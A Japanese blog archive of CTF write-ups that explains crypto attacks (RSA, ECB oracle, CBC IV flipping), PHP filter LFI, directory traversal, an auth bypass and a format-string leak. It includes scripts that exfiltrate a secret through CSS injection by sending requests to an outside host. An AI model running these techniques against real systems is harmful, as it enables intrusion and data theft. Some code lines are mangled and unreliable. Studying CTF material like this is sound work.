を繰り返していることになる。素数を法とした世界での線形な写像なので、どこかで一定の値で固定されるのでなければ(暗号文を見る限り違う)全体を
  C = Am + B \mod p
の一つの暗号とみなして問題ない(さらに言うとここまでの発想も、一部は実際には全体が一つの写像に落とし込めることに気付いてから、これが解けるのであればこうだろう、と考えた)

先頭が「TWCTF{」であることはわかっているので、わかっている二文字から係数を計算して逆元を計算して、 offset を調整して解くとフラグ。

import sys

intxt = sys.stdin.readline()

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

d1 = euclidean(156, 251)
ret=''
for i in range(0,len(intxt) / 2):
	cur=0
	ta = intxt[i*2]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	cur*=16

	ta = intxt[i*2+1]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	ret+= chr((d1 * cur + 67 - 16) %251)
print ret

Twin Primes

RSA 暗号。双子素数二組 (p, p+2), (q, q+2) を元に、 N1 = pq, N2 = (p+2)(q+2) が公開鍵として採用されている(N1, N2, eが公開)。

N2 と N1 がわかっていて、どちらも展開すると pq を含むので、

  N_2 - N_1 \\  = (p+2)(q+2) - pq \\  = 2(p+q)+4

つまり、
  p+q = \cfrac{(N_2-N_1) - 4}{2} \\  pq = N_1

和と積がわかったので、二次方程式で解くことができる。二次方程式の公式を久しぶりに検索して計算。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
e1 = 65537

n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
e2 = 65537

cipher = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929
# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def find_root(x):
	lo = 1
	hi = x

	while lo < hi:
		mi = (lo + hi) / 2

		if mi * mi > x:
			hi = mi - 1
			continue

		if mi * mi < x:
			lo = mi + 1
			continue
		
		if mi * mi == x:
			lo = mi
			hi = mi
	
	if lo * lo == x:
		return lo
	else:
		return -1

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d:
		if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans

wa = ((n2-n1)-4)/2

p = (wa + find_root(wa * wa - 4 * n1)) / 2
q = (wa - find_root(wa * wa - 4 * n1)) / 2

d1 = euclidean(e1, (p-1)*(q-1))
d2 = euclidean(e2, (p+1)*(q+1))

ans = decrypt_rsa(n1, e1, d1, decrypt_rsa(n2, e2, d2, cipher))
ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

glance

横幅がとても狭く高速で何かが流れるアニメーション GIF に対し「電車のドアの隙間から見えた」旨。アニメーションを展開して画像を結合。

$ convert +adjoin glance.gif part.gif
$ convert +append `for ((i=0; i<=200; ++i)); do echo part-$i.gif; done` output.png

Global Pages

何かページの記事のようなものが表示されている。

http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo

に接続すると、

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

のようなエラーが出ている。tokyoの部分を変えると ja.php に関しても同様のエラーが出るようになる。ただし、 page= の部分に色々流し込んだ時、 %00 を流し込むとそこでファイル名が切れるが、ピリオドとスラッシュだけは入らず消される。

とりあえずこの tokyo/ja.php などは http://globalpage.chal.ctf.westerns.tokyo/tokyo/ に相当するディレクトリにあると思われるのでここに繋ぐと、各言語用の PHP ファイルがおいてある。

ふと Accept-Language を変えるとほかの言語が表示されたりそちらもファイル名に流し込まれたりすることに気付く。ピリオドやスラッシュも流し込めたが僕はここで PHP の include の仕様を調べるも失敗。

ここまでチャットに書くと、 yuta1024 が、CTF for Beginners 2015 のえるざっぷ氏の writeupの Web500 の手法が動くことに気付き、 index.php、次いでそこから include されていた flag.php の中身を BASE64 で吸い出してフラグを見つけていた。

PHP には include で指定した URL からデータを読みだしてそのまま PHP コードとして解釈して実行する豪快な機能があるが、さすがにデフォルトで無効化されている。allow_url_includeを1にすると有効だが今回は無効だった。その場合でも、 「php://filter/convert.base64-encode/resource=index.php」は URL とみなされないらしく、 filter 経由でデータを解釈できるらしい。

Poems

ポエム投稿サイト。ポエムを投稿するとランダムなIDが与えられ、それをファイル名として保存するようになっている。最初のポエムを読みだせという問題。

ソースコードが配布されている。また、 Ubuntu 16.04 + Apache であることが示されている。

ソースコードを見ると、 Slim フレームワークを使っており、 ../poem/list.txt に ID 一覧が保存されていること、 /admin に行けばその一覧の中身を表示してくれることがわかる。ところが、ソースコード側で認証がかかっていないにもかかわらず、 /admin に行くと Basic 認証を求められる。

とりあえずディレクトリトラバーサルで任意のファイルを読み出せるので、 http://poems.chal.ctf.westerns.tokyo/poems?p=../../../../../../../../etc/apache2/sites-enabled/000-default.conf に接続すると、 Apache の設定で

<Location /admin>

で Basic 認証がかかっていることがわかる。パスワードファイルは見ることができたが暗号化されていて、 1000回 md5 した形式らしかったのと数分 John The Ripper を走らせても無理だった、とか言っていたら、パスワードクラックは不要というヒントが出された。

そこでふと、普通の PHP フレームワークなら特に設定しなければ public をそのまま DocumentRoot にしても動作するように /index.php/本来のpath みたいなのを URI に投げ込んでも繋いでくれることを思い出し、 http://poems.chal.ctf.westerns.tokyo/index.php/admin に接続すると認証なく ID 一覧を見ることができた。先頭の ID をポエムの URL に繋ぐとフラグが出てきた。

IceCTF 2016 Writeup

IceCTFに参加していたので、 writeup を書きます。

今回は人数制限の都合上、チームではなく、個人参加していました。なぜかコンテスト終了後は問題文もランキングも自分の順位も見ることができませんが、1396点でした。

問題数が多く、内容としても比較的主な要素を問題を通して学ぶことを教育的な問題が多めだと感じました。Crypt が比較的初心者に優しくてありがたかったです。

以下、提出順に書いていきます。

Hello, World!

サンプル問題。フラグが問題文に書いてあるので提出。

Spotlight

開くと、マウスがある領域の周辺だけ見ることができるウェブ画面が表示された。とりあえず HTML のソースを見るとフラグが埋め込まれていたので提出。Consoleにwriteしていたのでデバッグコンソールを開くなどが想定解法だったのかもしれない。

All your Base are belong to us

二進数みたいな形式で何かが与えられているのでパースするとフラグがでてきた。

#include <iostream>
using namespace std;

int main(){
	char tmp=0;
	int count=0;

	while(!cin.eof()){
		char t;
		cin>>t;

		if (t=='0' || t=='1'){
			count++;
			tmp=(tmp<<1)+(t-'0');

			if(count%8==0){
				cout<<tmp;
				tmp=0;
			}
		}
	}
}

Rotated!

5文字ずらして、そのあと8文字ずらしたみたいなことが書いてあって、要するにROT13なのでウェブでワンライナーを見つけて処理して提出。

Move Along

Web問題なのですが忘れました…… 事後に問題文すら見られないのはつらいです

Substituted

換字暗号っぽいものが渡されて、とりあえず「IceCTF{」の部分が確定できるのであとは元の単語が推測できる部分から確定していった。

Time Traveler

ウェブページにつなぐと、「ここにかつてフラグがあった」みたいなことが書いてあったので、Internet Archiveで当該URLを検索してフラグを発見。

Flag Storage

なんだっけ……?解いた問題一覧を見るとWeb問なので SQLi でログインしたらフラグが見えた問題だった気がする。

Demo

主催者が用意した Linux 機で、フラッグを表示するためには特定の条件を満たさないといけないバイナリがおいてある(実行ファイルの sticky bit とかでフラグファイルそのものへのアクセスを与えず実行だけできるように工夫してある)。この問題ではそのバイナリのソースもおいてある。

この問題では argv[0] が特定の要件をみたさないといけないので、ホームディレクトリに要件を満たすようにシンボリックリンクを張って実行するとフラグが出た。

Complacent

忘れた

Search

ドメインだけ渡されるが、ウェブサーバに繋がらないと書いてある。conTEXT がどうとか書いてあるので、 DNS の TXT レコードを調べるとフラグが書いてあった。

Hidden in Plain Sight

忘れた

Exposed!

忘れた

RSA?

RSA を使ったが、何か間違っている。と書いてあるので見ると、 e=1 となっている。

RSA での暗号化は

  c=m^e \mod n

なので、e=1 では暗号化がされず平文のままになる。なので、暗号文をそのまま8ビットずつ区切って文字として出力すればフラグ。

Thor’s a hacker now

忘れた

Miners!

忘れた

Scavenger Hunt

忘れた

Smashing Profit!

忘れた

Kitty

admin のパスワードのハッシュだけが渡された。

パスワード入力フォームを見るとパスワードの形式がとても厳しく普通に入力すると通らない。アルファベット、数字、記号の順で5文字で、全探索可能だったので全探索した。

Dear diary

nc で接続し、そのサーバで実行されたバイナリが渡される pwn。

「日記を保存する機能」「最後に保存した日記を表示する機能」がついたバイナリが渡される。

見たところ最初に「flag」という関数を読んでおり、ファイルを open して特定のメモリのアドレス(少なくとも objdump で見る限りハードコード)に書き込んでいた。

バッファオーバーフローさせるのかと思いきや入力はすべて fgets だった。また、 strchr を呼び出して ‘n’ が含まれているとなぜか「rude!」と表示されて終了する仕様だった。

出力を見ると printf だったので、日記の内容を %d とかにするとその時のスタックの一部のデータが出力された。n がブロックされているので、%n が使えず、メモリに書き込むことはできない。

gdb で見たところ、しばらく先に日記の内容があったので、日記の先頭部分に flag のアドレスを書き、あとは %d でしばらく埋めつつ flag のアドレスが来る場所に %s を置くとフラグが表示された。

Toke

現代的なマリファナ工場なるサイトが渡され、ログインすると「FBIによって止められた」とだけ書いてある。

Cookie を見てみると jwt という名前がついた Cookie があり、検索すると検証機能付きの URL セーフなエスケープ方式で JWT というのがあった。

ということで見つけたオンラインのデバッガに中身を入れると、フラグが出てきた。

IRC I

IRC サーバ上でフラグを共有している人がいる、と問題文に書かれていた。主催者らしき人のプロファイルを表示すると「flag_share_(ランダムな英数)」という部屋が案内されていたので、その部屋に行くと部屋の説明にフラグがあった。

RSA

RSA に再挑戦したが、まだ何かおかしいようだ、と書いてある。見るとなんだかプロファイルが多い、というか秘密鍵が書いてある。ウェブで RSA の複合化手順を調べて、その通りに普通に秘密鍵を使ってエンコードするとフラグ。

#!/usr/bin/python

N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469

c_powers = 
cur_power = 1

while cur_power <= d:
	tmp = c_powers[len(c_powers) - 1]
	c_powers.append((tmp * tmp) % N)
	cur_power *= 2

cur_power = 1
cur_pos = 0
ans = 1

while cur_power <= d: if d & cur_power > 0:
		ans *= 	c_powers[cur_pos]
		ans %= N
	cur_pos += 1
	cur_power *= 2

# print ans

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

Alien Message

エイリアンが書いたようだ、という次の画像が渡された。

alien_message_b84f283848b7f34fd4c7529186e66e120b0a374c9d0f2a225b0a7a215716afb5

IceCTF{ で始まる部分を見ると二つの C が同じなので、換字暗号のようだし、問題ジャンルも Cryptography になっていたが、確定できる文字が少なくて手がかりがつかめず、そもそもアルファベットらしきものも数えてみると 27 文字もあった。

そこで、alien alphabet で画像検索するとそれらしき画像があった。Futurama Alien Alphabet というフォントのようなので、見ながら複合化。

l33tcrypt

データを暗号化してくれるサーバが動いており、鍵とフラグは外部から読み込んでいる。サーバの Python コードが公開されている。

コードを見ると、”l33t please” で始まる文字列を渡すと、文字列の末尾にフラグを追加したうえで AES で暗号化して base64 で返してくれる。CBC などは特に使っていないようで、同じ文字列は毎回同じように返ってきた。

AES のブロックサイズは 128 ビットなので、16文字ごとに、望むものと一致すればその部分の暗号は同じになる。

フラグの i 文字目までがわかっているとき、 “l33t please”に続けて、適当な文字を適宜詰め、そのあとフラグの i 文字目までを埋めて最後のブロックが一文字だけ余る状態にし、残りの1文字を一通り試すことができる。
この時、”l33t please”とパディングのみを渡した結果(この場合はパディングの直後に正しいフラグを入れて暗号化してくれる)と比較すれば、正解の時だけ合致するブロックが多くなる。

これを順に試せば、フラグが出てくる。

#!/usr/bin/python

import commands
import sys

def encrypt(s):
	return commands.getoutput('echo -n \'' + s + '\' | (base64 -w 0; echo) | nc l33tcrypt.vuln.icec.tf 6001 | grep OH7').strip()

def sharestr(s, t):
	ret = 0
	for i in range(0, min(len(s), len(t))):
		if s[i] == t[i]:
			ret = i + 1
		else:
			break
	return ret

header = 'l33tserver please'
flag_cand = ''
cand_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'

cur_cand = ''

while True:
	cur_cand_len = 0
	tmphead = header + '/' * (16 - (len(header) + len(flag_cand) + 1) % 16)
	cur_enc = encrypt(tmphead)

	for i_loop in range(0, len(cand_chars)):
		now_cand = flag_cand + cand_chars[i_loop]
		print 'Trying: ', tmphead + now_cand
		tmp_enc = encrypt(tmphead + now_cand)

		tmp_len = sharestr(cur_enc, tmp_enc)
		print tmp_len

		if tmp_len > cur_cand_len:
			cur_cand_len = tmp_len
			cur_cand = now_cand
	
	if len(cur_cand) == len(flag_cand):
		sys.exit(1)
	flag_cand = cur_cand

Over the hill

謎の行列みたいなのがおいてある。そのままではどうしようもないので、とりあえず matrix encryption とかで検索すると、 Hill Cipher が出てきて問題名とも合致。というわけで Hill Cipher の Wikipedia の記事を見ながら解く。

mod Nでの逆行列の計算に戸惑うが、ウェブ検索した結果見つけた動画(https://www.youtube.com/watch?v=LhBovzm4Ajs)では、普通の逆行列に近い処理をしていた。普通の逆行列は numpy なるツールで計算できそうなので、確認しながら最終的には以下のようなコードに。

#!/usr/bin/python

import numpy

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"
N = len(alphabet)

matrix = [[54, 53, 28, 20, 54, 15, 12, 7],
          [32, 14, 24, 5, 63, 12, 50, 52],
          [63, 59, 40, 18, 55, 33, 17, 3],
          [63, 34, 5, 4, 56, 10, 53, 16],
          [35, 43, 45, 53, 12, 42, 35, 37],
          [20, 59, 42, 10, 46, 56, 12, 61],
          [26, 39, 27, 59, 44, 54, 23, 56],
          [32, 31, 56, 47, 31, 2, 29, 41]]

ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

alphabet_to_number = {}

for i in range(0, len(alphabet)):
	alphabet_to_number[alphabet[i]] = i

# https://www.youtube.com/watch?v=LhBovzm4Ajs
det = numpy.around(numpy.linalg.det(matrix)).astype(numpy.int64)
inv = numpy.around(det * numpy.linalg.inv(matrix)).astype(numpy.int64)

mul = euclidean(det, N)
inv = mul * inv

for i in range(0, len(inv)):
	for j in range(0, len(inv[i])):
		inv[i][j] = inv[i][j] % N

ans = ''

for j in range(0, 8):
	cipherarray = []
	for i in range(0, len(inv)):
		cipherarray.append(alphabet_to_number[ciphertext[j * len(inv) + i]])
	plain = numpy.dot(inv, cipherarray)

	for i in range(0, len(plain)):
		ans += alphabet % N]

print ans

Flagstaff

鍵とフラグを隠したサーバが動いていて、 Python のコードがおかれている。

このサーバは、

  • decrypt に続けて暗号化データを渡すと、渡されたデータを復号化して返す
  • secret に続けて文字列を渡すと、その文字列を復号化して、それをコマンドとみなして次のことを実行する(なので暗号化して渡さないといけない)
    • コマンドに “encrypt” が含まれていれば、そのあと渡された平文の文字列を暗号化して渡す
    • コマンドに “flag” が含まれていれば、フラグを暗号化して渡す

また、暗号化方式は AES256-CBC で、サーバとの受け渡しの時はどのデータも base64 でやりとりする。

なお、暗号化の際は初期ベクタを毎回ランダムに生成している。

暗号化データの解除はしてもらえるので、「”flag”を暗号化したもの」が手に入ればよいことになる。ただ、暗号化機能を呼び出すにも「”encrypt”を暗号化したもの」が必要。

CBC なので、あるデータを暗号化した結果が分かった時、それを見て初期ベクタをいじることで、先頭のブロックの結果を好きなようにいじることができる。

なので、最初に \0 を32バイト並べたものを復号化し、初期ベクタを「先ほど得られた先頭ブロック ^ 望む状態先頭ブロック」に書き換えると、先頭16バイトは好きなようになる。今回は先頭4バイトが「flag」になればよいので、初期ベクタの4バイトを修正した。

試しに修正したあとのものを decrypt してもらうと望む通り flag で始まったので、 secret に送ると無事暗号化されたフラグが手に入った。これを復号化してもらって提出。

writeup 用に保存しておいたログから必要な部分を抜き出したものが以下。

$ dd if=/dev/zero bs=32 count=1 | base64
1+0 records in
1+0 records out
32 bytes copied, 0.000194334 s, 165 kB/s
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6VlxPr4/oHDN5x6RmAek+w==

$ echo -n 6VlxPr4/oHDN5x6RmAek+w== | base64 -d | od -t x1
0000000 e9 59 71 3e be 3f a0 70 cd e7 1e 91 98 07 a4 fb
0000020

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xe959713e ^ 0x666c6167)
'0x8f351059'
>>> quit()

$ (perl -e 'print "\x8f\x35\x10\x59";'; dd if=/dev/zero bs=28 count=1) | base64
1+0 records in
1+0 records out
28 bytes copied, 0.000133464 s, 210 kB/s
jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
ZmxhZ74/oHDN5x6RmAek+w==

$ echo ZmxhZ74/oHDN5x6RmAek+w== | base64 -d
flag�?�p������

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: secret
Send me an encrypted command: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: 6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=
SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9

$ echo SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9 | base64 -d
IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}

RSA 2

RSA で、これまでと違ってとりあえず形式的には正しそうなパラメータが付与された。鍵も2048ビットあった。

実は素数のどちらかが小さくて素因数分解できるのでは、と思って奇数で割り続けるプログラムを走らせたところ、予想通りすぐに素因数分解が完了した。

というわけで、あとはその結果をもとに Wikipedia とかを見ながら暗号化解除。

#!/usr/bin/python

N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d: if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans


#i = 3
i = 57970027

while True:
	if N%i==0:
		p=i
		q=N/p
		break

	i+=2

d = euclidean(e, (p-1)*(q-1))

ans = decrypt_rsa(N, e, d, c)

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

WhiteHat Wargame Contest 11 writeup

いつものチームで WhiteHat Wargame Contest 11 に参加していました。

難易度は高めだった気がするのと、不具合も目立ちましたが、僕が解いた Web 問はなかなかおもいろい問題でした。これについて write up を書いておきます。

Ultimate Design Tool

アクセスすると、HTMLのボタンをデザインする画面が現れました。Submit を押すとそのボタンが現れるとともにどこかに送られるようでしたが、ボタンのスタイルの修正のみが反映されてテキストの変更は反映されませんでした。

送られた情報を見ると、ボタンのスタイルは CSS の形式で送られているようでした。そのため、試しに

{ background-image: url(https://nhiroki.net/hoge.png); }

のようなCSSを送り付けると、サーバから指定した URL にアクセスが来ました。

そのため、 CSS から JavaScript を実行する方法について調べていました。アクセスが Firefox からだったことも踏まえて調べると、-moz-binding なるもので JavaScript コードを実行可能なようでした。しかし、ドキュメントはヒットしないものの Firefox 47 では動作しないようでした。

そのあと、 CSS injection なるヒントが公開され、方向性は間違っていないと判断しました。

さらにそのあと ReGeX なるヒントが公開されました。そのため、色々調べると、 CSS は要素の指定などに正規表現が使えるようでした。

ここで、ボタン作成時の画面の HTML に

                <!-- Admin only ... 
                <span value="secret"></span> 
                -->

という怪しげな記述があるのを思い出しました。CSS では HTML 要素の属性(<input type=”text”> なら type=”text” の部分)を条件に含めることができ、さらに完全一致のみならず先頭一致や含むかどうかという制限もできるようでした。

そのため、この要素を利用することで、特定の条件を持った属性(コメントを見る限りフラグがここに置かれている)が含まれるかを調べることができそうでした。

試しに画面に表示されているボタン(攻撃対象になかったとしても手元のブラウザでは表示される)で

{} div[id="button"]{ background-image: url(https://nhiroki.net/hoge.png); }

といった感じのことをしてみると無事アクセスが来たので、あとは一文字ずつ総当たりで調べることにしました。なお、^は***に置換されてしまったので、中間一致を利用して前と後ろにそれぞれ伸ばしていくことにしました。

最初は

for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9
do
    flag=<ここに既にわかっている部分を入れる>$i
    curl -X POST --data-urlencode 'csscode={height: 1px; line-height: 1px;}span[value*="'$flag'"]{ background-image: url(https://nhiroki.net/******?fl='$flag');}' --data-urlencode 'submit=Share your button!' http://118.70.80.143:8104/push.php
done

といったスクリプトを地道に手で走らせてはアクセスログを見ていましたが、結構長そうだったので、

<?php

$initialflag=$_GET['flag'];

for($i = 0; $i < 10; $i++){
        $flag=$initialflag.$i;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

for ($i = 0; $i < 26; $i++){
        $j=chr(ord('a')+$i);
        $flag=$initialflag.$j;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

(background-image で指定しているのがこのスクリプト自体)

といった感じのコードをサーバ上に設置し、最初に一回たたけばあとは自動で伸びるところまで伸びるようにして、方向だけは途中で文字列を前にも伸ばすようにしてフラグを得ました。(なお、大文字は画面上でも勝手に小文字に変換されたので省きました。)

CSS から直接 JS を実行する穴は今は塞がれているようですが、それでも CSS に任意の文字列を注入すれば HTML の属性などの情報は取得できるということを実際に試すことができました。

にろきプロコン実施の記録・使用したジャッジシステムについて

